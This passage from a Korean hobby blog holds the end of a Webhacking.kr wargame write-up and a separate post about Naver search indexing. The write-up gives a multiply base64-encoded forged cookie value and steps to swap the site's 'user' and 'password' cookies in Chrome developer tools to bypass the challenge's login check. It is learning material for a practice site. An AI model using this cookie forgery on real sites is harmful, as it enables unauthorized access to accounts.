Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTTW1oWlYxZDRiMkl5Vm5OVmJGWlRZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRWxhU0hCSFZqRmFSbUl6WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMVphZEdSSFJrNVNiRm93V2xWYVQxWlhTbFpqUldSYVRVWmFNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYXpWWVZXcE9iMkl4V25STldHUlZUVlpXTkZVeGFHOWhiRXB6WTBac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW0xNGFGVXdhRU5UUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WazVPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0ROV2FrWkxWakpPU1dKR1pGZFNWWEJ2Vm10U1MxUXlUWGxVYTFwb1VqTkNWRmxZY0ZkWFZscFlZMFU1YVUxcmJEUldNV2h2V1ZaS1IxTnNaRlZXYkZwNlZHeGFZVmRGTlZaUFZtaFRUVWhDU2xac1pEUmpNV1IwVTJ0b2FGSnNTbGhVVlZwM1ZrWmFjVk5yWkZOaVJrcDZWa2N4YzFVeVNuSlRiVVpYVFc1b1dGbHFTa1psUm1SWldrVTFWMVpzY0ZWWFZsSkhaREZaZUdKSVNsaGhNMUpVVlcxNGQyVkdWbGRoUnpsb1RWWndlbFl5Y0VkV01ERjFZVWhLV2xaWFVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVjFsc1pHOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMVJHVW5KWGJFcHNVbTFTZWxsVldsTmhWa3AxVVd4d1YySllVbGhhUkVaYVpVZEtTVk5zYUdoTk1VcFdWbGN4TkdReVZrZFdXR3hyVWpCYWNGVnRlSGRsYkZsNVpVaGtXRkl3VmpSWk1GSlBWMjFGZVZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZrY3dOVll4V25OalJXaFlWa1UxZGxsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFdWWktjMVJ1VG1oU2JGcFlXV3hhUm1ReFduRlJiVVphVm0xU1NWWlhkRzloTVVwMFlVWlNWVlpXY0dGVVZscGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1WcHlWMjFHYWxacmNEQmFSV1F3VmpKS2NsTnJhRmRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtaV1VsZEhhRlJVVm1SVFpXeHNWbGRzVG1oU1ZFWjZWVEkxYjFZeFdYcFZiR2hZVm14d1lWcFZXbXRrVmtwelZtMXNWMUl6YURWV01XUXdXVmRSZVZaclpGZGliRXB5Vld0V1MySXhiRmxqUldSc1ZteEtlbFp0TURWWFIwcEhZMFpvV2sxSGFFeFdNbmhoVjBaV2NscEhSbGROTW1oSlYxUkplRk14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwWTBWa1dsWXdWalJXYkdodlYwWmtTR0ZHV2xwaVdHaG9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

로 값이 나왔습니다.

이제 크롬의 개발자 도구를 사용해서 쿠키값을 붙여 넣어보겠습니다.

크롬 브라우저에서 [F12] > [Application] > [Storage] > [Cookies] > https://webhacking.kr 에서 user와 password 쿠키값을 더블클릭한 후 바꿔주도록 합시다.

쿠키의 Value를 더블클릭해서 바꿔주자.

그리고 F5를 눌러주면,

문제가 풀렸다!

문제를 풀었습니다!

문제 소스코드에 숫자를 특수문자에 대칭시키고, 특수문자를 숫자에 대칭시키는 부분이 있었습니다.

원래는 숫자와 특수문자가 encode 결과값에 나올 수 있기 때문에 고려해야 한다고 생각할 수 있지만,

base64 인코딩을 하면 특수문자가 절대 나오지 않습니다.

결국은, 이를 고려하지 않아도 문제를 풀 수 있게 됩니다.

#연관된 활동

4번 문제에서 봤던 SHA-1 해시함수와 base64 인코딩을 한번 비교해보도록 하겠습니다.

SHA-1 해시함수는 디코딩이 없는, 단방향 함수입니다.

따라서 그동안 암호화 방식으로 많이 사용되었고, 보안 쪽에서도 실제로 사용 중인 곳이 있습니다.

단방향 함수이기 때문에 해커가 암호문에서 평문을 얻기 위해서는 많은 시간을 사용해야 하죠.

하지만 base64 인코딩은 말 그대로 인코딩입니다.

디코딩도 가능한 양방향 함수이기 때문에 암호화 방식으로 적합하지 않습니다.

실제로 base64는 단순히 바로 봤을 때 어떤 데이터인지 짐작하지 못하게 하는 기능으로 사용하고 있습니다.

이에 관해서 여러 유저들이 토론했던 내용을 첨부합니다.

https://okky.kr/article/276104

OKKY | Base64 왜 사용하는 걸까요?

1. Base64 사용 안했을때 충돌지점의 구체적 예시화 2. 더 좋은 방법들 살다보면 무임승차 바랄때가 있잖습니까. 누가 떡하니 총돌지점 및 인사이트를 자세히 가져다 줄지..하는 ..스스로 찾아

okky.kr

암호학은 정보보안의 기초입니다. 한 번쯤 암호학에 대해서

공부하시는 것을 추천드립니다.

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/05/15 - [SW/[워게임]Webhacking.kr] - Webhacking.kr 5번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 5번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 5번 문제를 풀어보도록 하겠습니다. 이번 문제는 SQL 인젝션을 사용한 문제입니다. #문제 보기 바로 한번 https://webhacking.kr/challenge/web-05/로 접속..

h-bread.tistory.com

[다음글] : 2020/05/17 - [SW/[워게임]Webhacking.kr] - Webhacking.kr 7번 풀이 :: 호빵둥이 IT Blog

네이버 서치어드바이저(웹마스터) 수집X, 수집보류 | 지금까지 구글애널리틱스 현황

호빵둥이블로그 — Fri, 15 May 2020 21:17:58 +0900

안녕하세요:)

지난 12일에 블로그를 시작해서, 벌써 4일째 입니다.

13일에 검색등록을 해야 다른 포털사이트에 사이트가 노출된다는 사실을 알고 바로 네이버 서치어드바이저에 요청을 했는데요,

아직까지도 재대로된 수집이 안되고 있습니다ㅠㅠㅠ

13일에 서치어드바이저에 요청한 포스트는 수집보류가 뜨고 있고, 방금 다시 확인해보니 14일에 요청한 포스트도 모두다 수집보류로 표기가 되고 있습니다.

이 문제를 어떻게 해결해야 할까요...

일단 네이버에 포스트가 노출되기 위해서는 수집보류가 아닌, 수집성공이 떠야합니다.

저도 수집보류 오류를 해결하기 위해서 여러 포스트를 참고했는데, 그중 하나가 숫자가아닌 문자로 링크를 첨부하라는 이야기가 있었습니다.

얼른 그 이야기를 듣고 문자로 첨부해봐도...

https://h-bread.tistory.com/entry안녕하세요

안녕하세요 :)

오늘 처음! 블로그를 시작합니다. 저는 주로 코딩을 하는 고등학생입니다. 그중에서도 정보보안에 관심이 많습니다. (목표 학과도 고려대 사이버국방학과입니다) 어렸을 때 부터 컴퓨터에 관심�

h-bread.tistory.com

또 수집보류!

이걸 어떻게 해결해야될지 모르겠어요 ㅠㅠ

ㅎ헣... 이젠 하나도 빠짐없이 수집보류군요..

혹시나해서 네이버에 site:h-bread.tistory.com 을 검색해보니,

수집 오류인데 왜 나오는 것이냐!

??? 이번에는 왜 또 나올까요..

뭐 여튼 다른 포스트를 더 보니까 RSS를 10개 이하로 맞추라는 글들이 있더군요.

그래서, 다시 RSS를 10개로 바꿔준다음,

서치어드바이저에서 기존 RSS를 삭제하고, 다시 업로드 해봤습니다.

이제 기다리는 일만 남았습니다... 제발 내일 아침에 일어나면 블로그 조회수가 떡상하길!..

이번에는 구글 애널리틱스 상황을 보여드릴께요..

검색 유입이 없어서 애널리틱스 상황도 마찬가지일 것 같지만 보여드리겠습니다.

사실 오늘까지 블로그 유입량이 3?정도밖에 안되서 되게 기대를 하지 않고 보긴 했어요ㅋㅋㅋ

... 기대 안하기를 잘했어요...

저 수치가 검색어유입이라니라 전체 유입이 추가된 수치라

아마 저기 있는 세션 24개는 제가 다 올린거라고 생각되네요..

그래도 노출수는 꾸준히 증가하고있다!

그래도 노출은 꾸준히 증가하고 있네요:D

그래도 저 수치가 되게 미미해서..

사실 제가 다루는 주제가 최근에 검색이 많이 안된다는 사실을 알게 되었어요.

제가 알고있는 내용을 더 공유하기 위해서는 다른 주제의 포스트도 써야되지 않을까 생각이 들어요.

지금 이 글을 보고 계신분은 없겠지만, 혹시나 포스트 관련 아이디어가 있으시면 댓글로 남겨주시면 너무 고마울 것 같아요.

아직은 블로그 초기니까, 이런 현상이 일어난다고 생각합니다.

앞으로 정말 열심히 노력해서 블로그 꾸며보겠습니다!